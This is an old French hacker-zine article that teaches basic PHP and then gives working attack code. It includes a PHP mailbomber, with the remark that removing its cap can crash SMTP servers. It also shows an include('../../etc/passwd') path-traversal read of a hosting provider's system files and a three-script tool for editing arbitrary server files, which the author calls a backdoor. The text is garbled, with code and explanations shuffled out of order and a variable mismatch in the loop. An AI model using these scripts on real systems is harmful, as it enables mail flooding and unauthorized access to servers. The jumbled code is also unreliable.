PHP & PHP Holes |
Introduction
Cet article est à la foi une courte initiation au php mais à aussi un grand rapport avec le hack comme vous pourrez le constater.Il se divisera en trois parties :
I) Présentation et initiation au php
II) Création d'un MailBombeur en php
III) PHP Holes
I) Présentation et initiation au php
Qu'est ce donc que le php, le php est un language de programmation interprété qui permet de gérer facilement des sites web par l'intermédiaire de lignes de codes insérés dans du code html un peut comme les CGI en Perl et Shell Script à la seul différence qu'il marche uniquement optimisé pour les sites web contrairement au Perl et au Shell Script qui peut parfaitement servir pour l'optimisation d'un shell unix.
Nous sommes actuellement a la version 4 de PHP.
PHP est egalement compatible avec les bases de données MySQL ce qui
permet a ce language d'etre un des meilleurs languages pour la
conception de sites internet avec le classique et innevitable HTML.
Bon déja si vous voulez faire du php il vous faut un serveur web style
Apache avec PHP mais comme vous pourrez le voir l'utilisation de
ces scripts chez des hébergeurs est bien plus interessants et demande
beaucoup moins de temps d'installation car tout est déjà près.
Si vous décider tout de meme d'installer un serveur web sur votre pc une très
bonne déscription de l'installation est disponible sur
http://www.phpfrance.com.
Initiation :
Déja il vous faut savoir que tout document php doit avoir l'éxtension
.php ou encore .php3 pour etre éxecuter correctement.
Le debut et la fin d'un script sont toujours indiqués par :
<? ou <?php pour indiquer le debut du script.
?> pour la fin du script.
J'ai pas non plus envie de me casser la tete à vous apprendre les commandes de bases donc pour ca référez vous à l'article de Medgi sur PERL / CGI scripts dans CS3 les commandes de bases en PHP sont pour la plupart comparable au Perl à quelques choses près.
II) Création d'un MailBombeur en php
Avant tout il vous faut un formulaire au format html pour pouvoir donnez les différentes indications au script.
La source de ce formulaire ressemble à ca :
<HTML>
<BODY>
<form method="post" action="bomb.php">
<p>Nombre de mail :<br>
<input type="text" name="nbr" size="10">
<p>Email à Maillbomber :<br>
<input type="text" name="mail" size="15">
<p>Sujet du mail :<br>
<input type="text" name="sujet" size="15">
<p>Message :<br>
<textarea name="msg" cols="40" rows="3"></textarea>
<p> <input type="submit" name="Submit" value="Envoyer">
</form>
</BODY>
</HTML>
Avec votre Browser ca donne ca :
Bon je ne pense pas que cela merite des explications si vous ne comprenez pas référez vous à des tutoriaux sur le html.
Maintenant passons au script pour des raisons de sécurité comme vous pourrez le voir ce script limite le nombre de mail à envoyé à 10 après si vous voulez modifier ca c'est à vous de voir et ce n'est plus mon probleme. Aussi sachez que si on enleve ce 'bridage' ce script s'avere très éfficace pour faire planter les serveurs smtp.
Le script ressemble à ca (commentaire en dessous) :
<?
echo "<p>Votre message :<P> $msg</p>A été envoyé $nbr fois à $mail";
if($nbr>"10")
{
$nbr=10;
}
$x=0;
for ($x=0;$x<$n;$x++)
{
mail("$mail","$sujet","$msg");
}
?>
Je pense que c'est assé explicite mais j'explique quand même.
<? : indique ou commence le script
echo "<p>Votre message :<P> $msg</p>A été envoyé $nbr fois à $mail"; :
echo " "; : comme en shell script permet d'afficher à l'ecran.
Pour les variables allez voir l'article de Medgi sur PERL / CGI scripts.
$msg : correspond au texte inscrit dans la case du formulaire html appelé msg.
$nbr : correspond au nombre de mail envoyé qui a été précisé dans la case du formulaire html appelé nbr.
$mail : correspond au mail de la personne que vous voullez maillbomber qui vient de la case mail du formulaire html.
if($nbr>"10")
{
$nbr=10;
}
if($nbr>"10") { } : ca veut dire que si $nbr est plus grand que 10 alors cette partie du programme sera exécutée.
$nbr=10; : donne la valeur 10 à $nbr.
$x=0; : donne la valeur 0 à $x.
for ($x=0;$x<$n;$x++)
{
mail("$mail","$sujet","$msg");
}
for ($x=0;$x<$n;$x++) { } : for est une boucle c'est a dire que le programme ne peut continuer jusqu'a ce qu'une condition soit remplie.
Conditions :
$x=0 : indique que la boucle commence avec $x=0.
$x<$n : indique la condition pour que s'arrete cette boucle soir ici que $n soit plus grand que $x.
$x++ : a joute +1 a la valeur $x a la fin de chaque tour on pourrait aussi marquer $x=$x+1 ce qui reviendrait au même.
mail("$mail","$sujet","$msg");
: permet d'envoyer un mail.
"$mail" : correspond à l'email du destinataire.
"$sujet" : correspond au sujet du mail.
"$msg" : correspond au message que contient le mail.
?> : indique la fin du script.
Lorsque le script a fini de s'éxecuter le message suivant apparet :
Votre message :
$msg
A été envoyé $nbr fois à $mail
Bon comme vous pouvez le voir c'est pas très difficile a faire ni a comprendre maintenant on va pouvoir passer a quelque chose de bien plus intéressants enfin vous verrez.
III) PHP Holes
Bon je vous explique , je ne suis pas sur que cet astuce marche sur tous les serveurs en tout cas ca bien marché sur mon serveur ainsi que chez un hebergeur dont je cacherais le nom car c'est trop des connards.
Déjà pour le moment il nous faut savoir qu'une seul et unique commande qui est :
<? include(" "); ?>
Elle permet d'éditer un fichier au format ASCII sur la page web ce qui peut etre tres utile en cas de répetition sur plusieurs pages comme par exemple le classique copyright en bas de chaque pages.
C'est par pur hasard que j'ai decouvert ce qui va suivre.
Après m'etre connecter par ftp a mon 'ex'hebergeur j'avais remarqué que je me situait dans le dossier /home/tipiak (faut bien un exemple) tout ce qu'il y a de plus classique.
Puis je me suis dis tient si j'essayait de faire un petit :
include("../../etc/passwd"); ?>
Et comme par magie l'intégralité du passwd de l'hebergeur est apparut devant moi, le fichier était shadow mais bon on en a rien à foutre car l'accès en root n'est plus très loin.
Bon maintenant on sait regarder ces fichiers mais ca serait mieux de pouvoir les modifiers pour ca j'ai créé un petit script très simple d'utilisation qui edit le fichier dans un cadre vous n'avez alors plus qu'à modifier ce quivous interesse et appuyer sur Modifier (Vous comprenez ?)
Attention lorsque vous avez appuyé le processus est irreversible donc faites bien attention avant de modifier quoi que ce soit.
Source et Explication de ce script php :
Script en 3 partie.
Sources : choose.php , edit.php , past.php
Sources Zipés : phpholes.zip
Explications :
1ere Partie (choose.php):
<?php
echo "Vous vous trouvez actuellement dans : <B>$PATH_TRANSLATED</B>"
?>
<form method='post' action='edit.php'>
<INPUT TYPE="text" NAME="fichier" SIZE=40 MAXLENGTH=40><BR>
<input type="submit" value="Editer">
</form>
Explications :
<?php : indique ou commence le script
echo "* <B>$PATH_TRANSLATED</B>" : affiche $PATH_TRANSLATED à l'ecran
$PATH_TRANSLATED : chemin physique menant au script (meme commande en Perl)
?> : indique la fin du script
<form method='post' action='edit.php3'> : debut formulaire qui renvoi vers la 2eme partie
<INPUT TYPE="text" NAME="fichier" SIZE=40 MAXLENGTH=40><BR> : case qui defini l'emplacement du fichier à editer
<input type="submit" value="Editer"> : Bouton valider
</form> : fin du formulaire
Rien de très intéressant jusque la passons à la seconde partie.
2eme Partie (edit.php) :
<?php
$x=0;
$open=fopen("$fichier","r");
while(feof($open)!=1)
{
$edit[$x]=fgetss($open,10000);
$x++;
}
echo"
<div align='center'>
<form method='post' action='past.php'>
<textarea name='past' cols='80' rows='20'>
";
$x=0;
fclose($open);
Explications :
<?php : indique ou commence le script.
$x=0; : donne la valeur 0 à $x.
$open=fopen("$fichier","r"); : ouvre $fichier en mode lecture 'r'.
while(feof($open)!=1)
{
$edit[$x]=fgetss($open,10000);
$x++;
}
echo"
$x=0; : donne la valeur 0 à $x.
echo "
</textarea><P> : indique la fin de la 'fenetre'.
fclose($open); : fermeture de $fichier en mode lecture 'r'.
?> : indique la fin du script. 3eme Partie (past.php)
:
<?php
Explications :
<?php : indique ou commence le script.
$open=fopen("$fichier","w"); : Ouvre $fichier en mode ecriture 'w'.
$edit=fgets($open,10000);
echo"
?> : indique la fin du script.
¶Conclusion
Voila c'est déjà la fin et oui j'éspere que ca vous a plus je pense que l'on
pourrait presque comparé ca un backdoor nan ?.
$x++;
}
echo "
</textarea><P>
<INPUT TYPE='text' NAME='fichier' SIZE=40 MAXLENGTH=40 value='$fichier'><P>
<input type='submit' value=Modifier>
</form>
</div>
";
?>
: range toutes les lignes de $fichier dans un tableau '$edit [$x]'.
<div align='center'>
<form method='post' action='past.php'>
<textarea name='past' cols='80' rows='20'> : donne la valeur $past au txt affiché meme après modif.
";
: affiche la 'fenetre' ou sera affiché le contenu du fichier.
$x++;
}
: Affiche le tableau $edit[$x] dans la 'fenetre'.
<INPUT TYPE='text' NAME='fichier' SIZE=40 MAXLENGTH=40 value='$fichier'><P> : défini le fichier edité.
<input type='submit' value=Modifier> : bouton de validation apres modifications.
</form> : Fin du formulaire.
</div>
";
$open=fopen("$fichier","w");
$edit=fgets($open,10000);
fseek($open,0);
fputs($open,$past);
fclose($open);
echo"
Modification de $fichier prise en conte:<P>
<center>
<textarea name='past' cols='80' rows='20'>
$past
</textarea>
</center>
";
?>
fputs($open,$past);
: séléctionne et copie $past dans $fichier.
Modification de $fichier prise en conte:
<center>
<textarea name='past' cols='80' rows='20'>
$past
</textarea>
</center>
";
: ca veut dire ce que ca veut dire ;)
Si vous etes pas d'accord ou si vous avez des questions
Fatal@tipiak.net.
Sinon je vous prepare une sorte de suite pour le prochain numero et croyez moi
c'est encore plus amusant ;)